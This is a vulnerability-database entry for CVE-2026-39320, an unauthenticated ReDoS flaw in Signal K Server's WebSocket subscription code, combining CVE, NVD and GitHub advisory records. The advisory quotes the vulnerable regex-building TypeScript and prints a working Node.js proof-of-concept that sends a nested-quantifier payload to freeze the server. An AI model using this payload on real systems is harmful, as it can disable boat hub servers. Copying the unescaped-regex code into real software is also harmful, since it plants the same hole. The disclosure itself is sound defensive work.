CVE-2026-39320 (GCVE-0-2026-39320)
Vulnerability from cvelistv5 – Published: 2026-04-21 00:07 – Updated: 2026-04-21 19:36
VLAI
EPSS
VEX
Title
Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths
Summary
Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.25.0 are vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within the WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests. Version 2.25.0 contains a fix.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-21 19:36 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/SignalK/signalk-server/securit… | x_refsource_CONFIRM |
| https://github.com/SignalK/signalk-server/pull/2568 | x_refsource_MISC |
| https://github.com/SignalK/signalk-server/commit/… | x_refsource_MISC |
| https://github.com/SignalK/signalk-server/release… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| SignalK | signalk-server |
Affected:
< 2.25.0
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-39320",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-21T19:36:30.279521Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-21T19:36:54.787Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "signalk-server",
"vendor": "SignalK",
"versions": [
{
"status": "affected",
"version": "\u003c 2.25.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.25.0 are vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within the WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server\u0027s Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server\u0027s self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests. Version 2.25.0 contains a fix."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-21T00:07:10.371Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
},
{
"name": "https://github.com/SignalK/signalk-server/pull/2568",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/SignalK/signalk-server/pull/2568"
},
{
"name": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d"
},
{
"name": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"
}
],
"source": {
"advisory": "GHSA-7gcj-phff-2884",
"discovery": "UNKNOWN"
},
"title": "Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-39320",
"datePublished": "2026-04-21T00:07:10.371Z",
"dateReserved": "2026-04-06T19:31:07.266Z",
"dateUpdated": "2026-04-21T19:36:54.787Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-39320",
"date": "2026-11-01",
"epss": "0.00427",
"percentile": "0.37016"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "signalk-server",
"vendor": "SignalK",
"versions": [
{
"status": "affected",
"version": "\u003c 2.25.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*",
"matchCriteriaId": "2DAD2E1E-F9F3-40FA-B483-3AB2A3093CFB",
"versionEndExcluding": "2.25.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.25.0 are vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within the WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server\u0027s Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server\u0027s self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests. Version 2.25.0 contains a fix."
},
{
"lang": "es",
"value": "Signal K Server es una aplicaci\u00f3n de servidor que se ejecuta en un concentrador central en una embarcaci\u00f3n. Las versiones anteriores a la 2.25.0 son vulnerables a un ataque de denegaci\u00f3n de servicio de expresi\u00f3n regular (ReDoS) no autenticado dentro de la l\u00f3gica de manejo de suscripciones de WebSocket. Al inyectar metacaracteres de regex sin escapar en el par\u00e1metro \u2019context\u2019 de una suscripci\u00f3n de flujo, un atacante puede forzar el bucle de eventos de Node.js del servidor a un bucle de retroceso catastr\u00f3fico al evaluar identificadores de cadena largos (como el UUID propio del servidor). Esto resulta en una denegaci\u00f3n de servicio (DoS) total donde la CPU del servidor se dispara al 100% y se vuelve completamente insensible a futuras solicitudes de API o de socket. La versi\u00f3n 2.25.0 contiene una soluci\u00f3n."
}
],
"id": "CVE-2026-39320",
"lastModified": "2026-10-26T22:10:00.163",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-39320",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-21T19:36:30.279521Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-04-21T01:16:05.063",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d"
},
{
"source": "security-advisories@github.com",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/SignalK/signalk-server/pull/2568"
},
{
"source": "security-advisories@github.com",
"tags": [
"Product",
"Release Notes"
],
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-400"
},
{
"lang": "en",
"value": "CWE-1333"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"current_release_date": "2026-04-22T01:22:31+00:00",
"cve": "CVE-2026-39320",
"id": "CVE-2026-39320",
"initial_release_date": "2026-01-01T00:00:00+00:00",
"product_status:known_not_affected": "1",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39320.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-39320",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-21T19:36:30.279521Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-21T19:36:52.069Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "signalk-server",
"vendor": "SignalK",
"versions": [
{
"status": "affected",
"version": "\u003c 2.25.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.25.0 are vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within the WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server\u0027s Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server\u0027s self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests. Version 2.25.0 contains a fix."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-21T00:07:10.371Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
},
{
"name": "https://github.com/SignalK/signalk-server/pull/2568",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/SignalK/signalk-server/pull/2568"
},
{
"name": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d"
},
{
"name": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"
}
],
"source": {
"advisory": "GHSA-7gcj-phff-2884",
"discovery": "UNKNOWN"
},
"title": "Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-39320",
"datePublished": "2026-04-21T00:07:10.371Z",
"dateReserved": "2026-04-06T19:31:07.266Z",
"dateUpdated": "2026-04-21T19:36:54.787Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-39320
Vulnerability from fkie_nvd - Published: 2026-04-21 01:16 - Updated: 2026-10-26 22:10
Severity
Summary
Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.25.0 are vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within the WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests. Version 2.25.0 contains a fix.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| signalk | signal_k_server | * |
{
"affected": [
{
"affectedData": [
{
"product": "signalk-server",
"vendor": "SignalK",
"versions": [
{
"status": "affected",
"version": "\u003c 2.25.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*",
"matchCriteriaId": "2DAD2E1E-F9F3-40FA-B483-3AB2A3093CFB",
"versionEndExcluding": "2.25.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.25.0 are vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within the WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server\u0027s Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server\u0027s self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests. Version 2.25.0 contains a fix."
},
{
"lang": "es",
"value": "Signal K Server es una aplicaci\u00f3n de servidor que se ejecuta en un concentrador central en una embarcaci\u00f3n. Las versiones anteriores a la 2.25.0 son vulnerables a un ataque de denegaci\u00f3n de servicio de expresi\u00f3n regular (ReDoS) no autenticado dentro de la l\u00f3gica de manejo de suscripciones de WebSocket. Al inyectar metacaracteres de regex sin escapar en el par\u00e1metro \u2019context\u2019 de una suscripci\u00f3n de flujo, un atacante puede forzar el bucle de eventos de Node.js del servidor a un bucle de retroceso catastr\u00f3fico al evaluar identificadores de cadena largos (como el UUID propio del servidor). Esto resulta en una denegaci\u00f3n de servicio (DoS) total donde la CPU del servidor se dispara al 100% y se vuelve completamente insensible a futuras solicitudes de API o de socket. La versi\u00f3n 2.25.0 contiene una soluci\u00f3n."
}
],
"id": "CVE-2026-39320",
"lastModified": "2026-10-26T22:10:00.163",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-39320",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-21T19:36:30.279521Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-04-21T01:16:05.063",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d"
},
{
"source": "security-advisories@github.com",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/SignalK/signalk-server/pull/2568"
},
{
"source": "security-advisories@github.com",
"tags": [
"Product",
"Release Notes"
],
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-400"
},
{
"lang": "en",
"value": "CWE-1333"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-7GCJ-PHFF-2884
Vulnerability from github – Published: 2026-04-21 17:17 – Updated: 2026-04-21 17:17
VLAI
Summary
Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths
Details
Summary
The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the context parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.
Description
The vulnerability stems from flawed string-to-regex conversion in signalk-server/src/subscriptionmanager.ts. The contextMatcher() and pathMatcher() functions convert wildcard strings (e.g., *) into regular expressions to match incoming data against client subscriptions.
While the code attempts to escape . and * characters, it fails to escape other dangerous regular expression metacharacters—such as +, (, ), ?, [, and ]. Because of this, an attacker can submit a crafted context that contains nested quantifiers (e.g., ([a-z0-9:-]+)+!). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like vessels.urn:mrn:signalk:uuid:d384dc156010), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.
Affected Code Blocks & Files
File: signalk-server/src/subscriptionmanager.ts
Affected lines for Context subscriptions (282-300):
function contextMatcher(...) {
if (subscribeCommand.context) {
if (isString(subscribeCommand.context)) {
const pattern = subscribeCommand.context
.replace(/\./g, '\\.')
.replace(/\*/g, '.*')
const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly
return (normalizedDeltaData: WithContext) =>
matcher.test(normalizedDeltaData.context) ||
Affected lines for Path subscriptions (276-280):
function pathMatcher(path: string = '*') {
const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')
const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here
return (aPath: string) => matcher.test(aPath)
}
Proof of Concept (PoC) Steps
const WebSocket = require('ws');
const http = require('http');
const HOST = 'localhost';
const PORT = 3000;
const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;
// Use the API endpoint to measure real server processing lag (requires JSON serialization)
const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;
console.log(`[+] Target Server API: ${HTTP_URL}`);
console.log(`[+] Target WebSocket: ${WS_URL}`);
let requestCount = 0;
// Polling function to check server responsiveness and compute delay
function checkServerStatus() {
const startTime = Date.now();
requestCount++;
const reqId = requestCount;
const req = http.get(HTTP_URL, (res) => {
let size = 0;
res.on('data', chunk => { size += chunk.length; });
res.on('end', () => {
const latency = Date.now() - startTime;
console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);
});
});
req.on('error', (err) => {
console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);
});
// Timeout if the event loop is blocked
req.setTimeout(2000, () => {
console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);
req.destroy();
});
}
// Start polling every 1 second
console.log('[+] Starting baseline HTTP polling...');
const pollInterval = setInterval(checkServerStatus, 1000);
// Wait a few seconds to establish a baseline, then launch the ReDoS
setTimeout(() => {
console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`);
const ws = new WebSocket(WS_URL);
ws.on('open', () => {
console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...');
// This regex exploits the unescaped Regex metacharacters in context matcher.
// It forms: `^vessels\.([a-z0-9:-]+)+!$`
// When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters),
// the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations
// because it fails to find the '!' at the end. This reliably freezes V8.
const pocPayload = {
context: "vessels.([a-z0-9:-]+)+!",
announceNewPaths: true,
subscribe: [{ path: "*" }]
};
ws.send(JSON.stringify(pocPayload));
console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n');
});
ws.on('error', (err) => {
console.error(`[-] WebSocket Error: ${err.message}`);
});
}, 3500);
// Automatically shut down the test after 15 seconds
setTimeout(() => {
console.log(`\n[+] Test complete. Stopping pollers.`);
clearInterval(pollInterval);
process.exit(0);
}, 15000);
Impact
This vulnerability achieves a complete Denial of Service (DoS) against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39320"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T17:17:00Z",
"nvd_published_at": "2026-04-21T01:16:05Z",
"severity": "HIGH"
},
"details": "## Summary\nThe SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server\u0027s Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server\u0027s self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.\n\n## Description\nThe vulnerability stems from flawed string-to-regex conversion in `signalk-server/src/subscriptionmanager.ts`. The `contextMatcher()` and `pathMatcher()` functions convert wildcard strings (e.g., `*`) into regular expressions to match incoming data against client subscriptions.\n\nWhile the code attempts to escape `.` and `*` characters, it fails to escape other dangerous regular expression metacharacters\u2014such as `+`, `(`, `)`, `?`, `[`, and `]`. Because of this, an attacker can submit a crafted `context` that contains nested quantifiers (e.g., `([a-z0-9:-]+)+!`). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like `vessels.urn:mrn:signalk:uuid:d384dc156010`), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.\n\n## Affected Code Blocks \u0026 Files\n**File:** `signalk-server/src/subscriptionmanager.ts`\n\n**Affected lines for Context subscriptions (282-300):**\n```typescript\nfunction contextMatcher(...) {\n if (subscribeCommand.context) {\n if (isString(subscribeCommand.context)) {\n const pattern = subscribeCommand.context\n .replace(/\\./g, \u0027\\\\.\u0027)\n .replace(/\\*/g, \u0027.*\u0027)\n const matcher = new RegExp(\u0027^\u0027 + pattern + \u0027$\u0027) // VULNERABILITY: User input compiled into regex directly\n return (normalizedDeltaData: WithContext) =\u003e\n matcher.test(normalizedDeltaData.context) ||\n```\n\n**Affected lines for Path subscriptions (276-280):**\n```typescript\nfunction pathMatcher(path: string = \u0027*\u0027) {\n const pattern = path.replace(/\\./g, \u0027\\\\.\u0027).replace(/\\*/g, \u0027.*\u0027)\n const matcher = new RegExp(\u0027^\u0027 + pattern + \u0027$\u0027) // VULNERABILITY: Same issue here\n return (aPath: string) =\u003e matcher.test(aPath)\n}\n```\n\n## Proof of Concept (PoC) Steps\n\n```\nconst WebSocket = require(\u0027ws\u0027);\nconst http = require(\u0027http\u0027);\n\nconst HOST = \u0027localhost\u0027;\nconst PORT = 3000;\nconst WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;\n// Use the API endpoint to measure real server processing lag (requires JSON serialization)\nconst HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;\n\nconsole.log(`[+] Target Server API: ${HTTP_URL}`);\nconsole.log(`[+] Target WebSocket: ${WS_URL}`);\n\nlet requestCount = 0;\n\n// Polling function to check server responsiveness and compute delay\nfunction checkServerStatus() {\n const startTime = Date.now();\n requestCount++;\n const reqId = requestCount;\n \n const req = http.get(HTTP_URL, (res) =\u003e {\n let size = 0;\n res.on(\u0027data\u0027, chunk =\u003e { size += chunk.length; });\n res.on(\u0027end\u0027, () =\u003e {\n const latency = Date.now() - startTime;\n console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);\n });\n });\n\n req.on(\u0027error\u0027, (err) =\u003e {\n console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);\n });\n\n // Timeout if the event loop is blocked\n req.setTimeout(2000, () =\u003e {\n console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);\n req.destroy();\n });\n}\n\n// Start polling every 1 second\nconsole.log(\u0027[+] Starting baseline HTTP polling...\u0027);\nconst pollInterval = setInterval(checkServerStatus, 1000);\n\n// Wait a few seconds to establish a baseline, then launch the ReDoS\nsetTimeout(() =\u003e {\n console.log(`\\n[!] Initiating WebSocket connection to launch ReDoS attack...`);\n const ws = new WebSocket(WS_URL);\n\n ws.on(\u0027open\u0027, () =\u003e {\n console.log(\u0027[+] WebSocket Connected! Sending catastrophic ReDoS payload...\u0027);\n \n // This regex exploits the unescaped Regex metacharacters in context matcher.\n // It forms: `^vessels\\.([a-z0-9:-]+)+!$`\n // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), \n // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations \n // because it fails to find the \u0027!\u0027 at the end. This reliably freezes V8.\n const pocPayload = {\n context: \"vessels.([a-z0-9:-]+)+!\",\n announceNewPaths: true,\n subscribe: [{ path: \"*\" }]\n };\n\n ws.send(JSON.stringify(pocPayload));\n console.log(\u0027[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\\n\u0027);\n });\n\n ws.on(\u0027error\u0027, (err) =\u003e {\n console.error(`[-] WebSocket Error: ${err.message}`);\n });\n\n}, 3500);\n\n// Automatically shut down the test after 15 seconds\nsetTimeout(() =\u003e {\n console.log(`\\n[+] Test complete. Stopping pollers.`);\n clearInterval(pollInterval);\n process.exit(0);\n}, 15000);\n```\n\u003cimg width=\"1003\" height=\"524\" alt=\"Screenshot 2026-03-29 101918\" src=\"https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039\" /\u003e\n\n## Impact\n\nThis vulnerability achieves a complete **Denial of Service (DoS)** against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop. \n\n\u003cimg width=\"999\" height=\"153\" alt=\"Screenshot 2026-03-29 101820\" src=\"https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0\" /\u003e",
"id": "GHSA-7gcj-phff-2884",
"modified": "2026-04-21T17:17:00Z",
"published": "2026-04-21T17:17:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39320"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/pull/2568"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
